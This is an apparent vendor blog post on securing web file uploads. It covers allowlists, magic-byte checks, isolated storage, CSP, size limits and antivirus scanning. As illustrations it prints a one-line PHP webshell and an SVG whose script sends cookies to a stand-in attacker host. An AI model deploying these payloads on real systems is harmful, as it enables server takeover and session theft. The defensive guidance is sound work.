File upload vulnerabilities are a leading cause of remote code execution in web applications. This guide covers MIME validation, extension whitelisting, storage isolation, and CSP controls to make file uploads safe.
Anay Pandya
1,527 words
Anay Pandya
Founder of ZeriFlow · 10 years fullstack engineering · About the author
Key Takeaways
File upload vulnerability is one of the most dangerous attack vectors in web security. A poorly secured upload feature can allow an attacker to upload a PHP webshell, execute arbitrary code on your server, serve malware to your users, or trigger denial-of-service through file size abuse. Despite being well-documented, insecure file upload implementations appear in production applications every day.
<div class="zf-stat-callout" style="background:#0d1117;border:1px solid rgba(16,185,129,0.25);border-left:3px solid #10b981;border-radius:4px;padding:16px 20px;margin:24px 0"> <p style="margin:0 0 4px;font-size:10px;font-weight:700;text-transform:uppercase;letter-spacing:0.15em;color:#10b981;font-family:monospace">ZeriFlow Data — 12,400+ sites analyzed</p> <p style="margin:0;font-size:13px;color:#e2e8f0;line-height:1.6;font-family:monospace">In ZeriFlow's dataset of 12,400+ scanned sites, the average security score is 52/100 — with 68% failing at least one critical check in categories including TLS configuration, security headers, DNS authentication, and cookie handling.</p> </div>
Keep reading
Is your site actually secure?
Run a free check — 60 seconds
Check your Content Security Policy and upload endpoint security — [scan free with ZeriFlow](https://zeriflow.com).
The worst-case scenario: an attacker uploads a PHP file disguised as an image. If the server stores the file in the web root and the attacker can access the URL, they have arbitrary code execution:
<?php system($_GET['cmd']); ?>Saved as shell.php but submitted with filename shell.jpg and Content-Type: image/jpeg. If the server only checks the MIME type from the request header (not the actual file content), it accepts the upload.
SVG files are XML-based and can contain JavaScript:
<svg xmlns='http://www.w3.org/2000/svg'>
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
</svg>If the SVG is served with Content-Type: image/svg+xml from your domain, the script executes in the context of your site — a full stored XSS attack.
Image processing libraries (ImageMagick, PIL) can be triggered to fetch remote URLs via malicious image metadata or filenames. A file named ssrf.png with embedded URL references can cause the server to make internal network requests.
A "zip bomb" is a tiny ZIP file that expands to petabytes when extracted. Uploading one to an app that auto-extracts archives can crash the server or consume all disk space.
Never use a denylist (blocking .php, .exe, etc.) — there are too many executable extensions and variants across server configurations. Use a strict allowlist:
ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'csv', 'txt'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONSWatch for double extensions: malicious.php.jpg — some servers may execute the PHP portion. Strip all extensions and re-add only the allowed one:
import uuid, os
def sanitize_filename(original_filename):
_, ext = os.path.splitext(original_filename)
ext = ext.lower()
if ext not in {'.jpg', '.jpeg', '.png', '.gif', '.webp', '.pdf'}:
raise ValueError('Extension not allowed')
# Generate random name to prevent path traversal and info leakage
return str(uuid.uuid4()) + extDon't trust the Content-Type header sent by the client — it's trivially forged. Detect the actual file type by inspecting the file's magic bytes (the first few bytes of every file format):
import magic # python-magic library
def validate_mime_type(file_bytes, allowed_mimes):
detected_mime = magic.from_buffer(file_bytes[:1024], mime=True)
if detected_mime not in allowed_mimes:
raise ValueError(f'Detected MIME {detected_mime} is not allowed')
ALLOWED_MIMES = {
'image/jpeg', 'image/png', 'image/gif', 'image/webp',
'application/pdf', 'text/csv', 'text/plain'
}Magic byte signatures for common formats:
- JPEG: FF D8 FF
- PNG: 89 50 4E 47
- PDF: 25 50 44 46 (%PDF)
- ZIP: 50 4B 03 04
- ELF (Linux executable): 7F 45 4C 46
Key insight: Always read magic bytes from the actual file content, not from headers or filename extensions.
Even if your validation fails, storing files outside the web-accessible directory prevents webshell execution:
/var/www/html/ ← web root (accessible via URL)
/var/uploads/ ← upload storage (NOT accessible via URL)Serve uploaded files through a controller that reads them from disk and streams them to the client:
from flask import send_file, abort
import os
@app.route('/uploads/<file_id>')
def serve_upload(file_id):
# Validate file_id is a UUID (prevents path traversal)
try:
uuid.UUID(file_id)
except ValueError:
abort(400)
file_path = f'/var/uploads/{file_id}'
if not os.path.exists(file_path):
abort(404)
return send_file(file_path)This approach also lets you enforce access control on uploads — only authenticated users can access their own files.
CSP is your last line of defense against XSS via SVG or HTML uploads. ZeriFlow checks whether your pages have a valid CSP in place.
For pages that serve user-uploaded content:
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'For the upload page itself, a strict CSP prevents attacker-injected scripts from running even if a file somehow gets served inline:
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; form-action 'self'Never serve user-uploaded HTML or SVG from your main domain. Use a separate sandbox domain (e.g., user-content.yourapp.com) with a highly restrictive CSP and no access to your main app's cookies.
Scan your CSP configuration with ZeriFlow — it checks for missing, weak, or misconfigured Content Security Policy headers automatically.
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB
@app.route('/upload', methods=['POST'])
def upload():
if request.content_length > MAX_FILE_SIZE:
abort(413) # Request Entity Too Large
file = request.files['file']
file_bytes = file.read(MAX_FILE_SIZE + 1)
if len(file_bytes) > MAX_FILE_SIZE:
abort(413)
# ... proceed with validationAlso apply rate limiting to upload endpoints — an attacker brute-forcing upload bypasses shouldn't be able to do 10,000 attempts per minute.
For applications that accept documents, archives, or executables (security tools, enterprise apps), integrate AV scanning:
import subprocess
def scan_with_clamav(file_path):
result = subprocess.run(
['clamscan', '--no-summary', file_path],
capture_output=True, text=True
)
if result.returncode != 0:
raise ValueError('File flagged by antivirus')ClamAV is free, open-source, and integrates well with web applications. Commercial solutions (VirusTotal API, Cloudmersive) offer more comprehensive coverage.
Using AWS S3 or similar? Key security controls:
s3:GetObject for * (anonymous access) unless you have a specific reason.A: Absolutely not. Client-side validation (JavaScript FileReader, MIME type from the File API) is trivially bypassed with browser devtools or by sending a crafted HTTP request directly. Client-side validation is a UX convenience, not a security control. All security validation must happen server-side.
A: Options in order of security: (1) Block SVG uploads entirely if not needed. (2) Sanitize SVG with a library like DOMPurify (Node) or SVG sanitizer (PHP) that strips script elements. (3) Serve SVG from a sandboxed subdomain with Content-Security-Policy: script-src 'none'. Never serve unsanitized SVG from your main domain.
A: Yes. ImageMagick has had numerous CVEs (ImageTragick, 2016) where processing a malicious image triggered server-side code execution. Always use the latest version, run image processing in a sandboxed process with no network access, and consider cloud image processing services that isolate the risk.
A: Store files outside the web root with random UUIDs as names. Serve them via a controller that enforces authentication and authorization checks. Set Content-Disposition: attachment to force download rather than inline rendering. Use Content-Type: application/octet-stream for unknown types to prevent browser execution. Optionally serve from a separate sandboxed domain.
A: ZeriFlow performs passive security scanning and checks for misconfigurations like missing or weak CSP headers that would leave you exposed if an upload bypass occurred. For active upload vulnerability testing, combine ZeriFlow with manual testing or a DAST tool like Burp Suite. Start with a free ZeriFlow scan to baseline your security posture.
Securing file uploads requires defense-in-depth: no single control is sufficient. Extension allowlisting, magic byte MIME validation, out-of-web-root storage, a strong Content Security Policy, file size limits, and AV scanning together create a robust upload pipeline.
The weakest link is usually CSP — many teams implement the upload logic correctly but neglect the headers that would prevent XSS if something slipped through. [Scan your site with ZeriFlow](https://zeriflow.com) to check your CSP and 79 other security controls instantly — free, no account needed.
Treat every file upload as adversarial input. Because sometimes it is.
<!-- zf-internal-links -->
Related resources
Website Vulnerability Scanner
Run a broader website security audit across headers, TLS, DNS, cookies, SEO, and disclosure checks.
Security Headers Checker
Check CSP, HSTS, X-Frame-Options, and other response headers.
SSL Checker
Review TLS certificate, HTTPS, and transport security signals.
DMARC Checker
Validate email authentication records for domain spoofing protection.
CSP Checker
Review Content-Security-Policy coverage and common gaps.
June 24, 2026
Best Security Tools for AI Startups
Monitor your security score
Schedule recurring scans and catch regressions after deployments.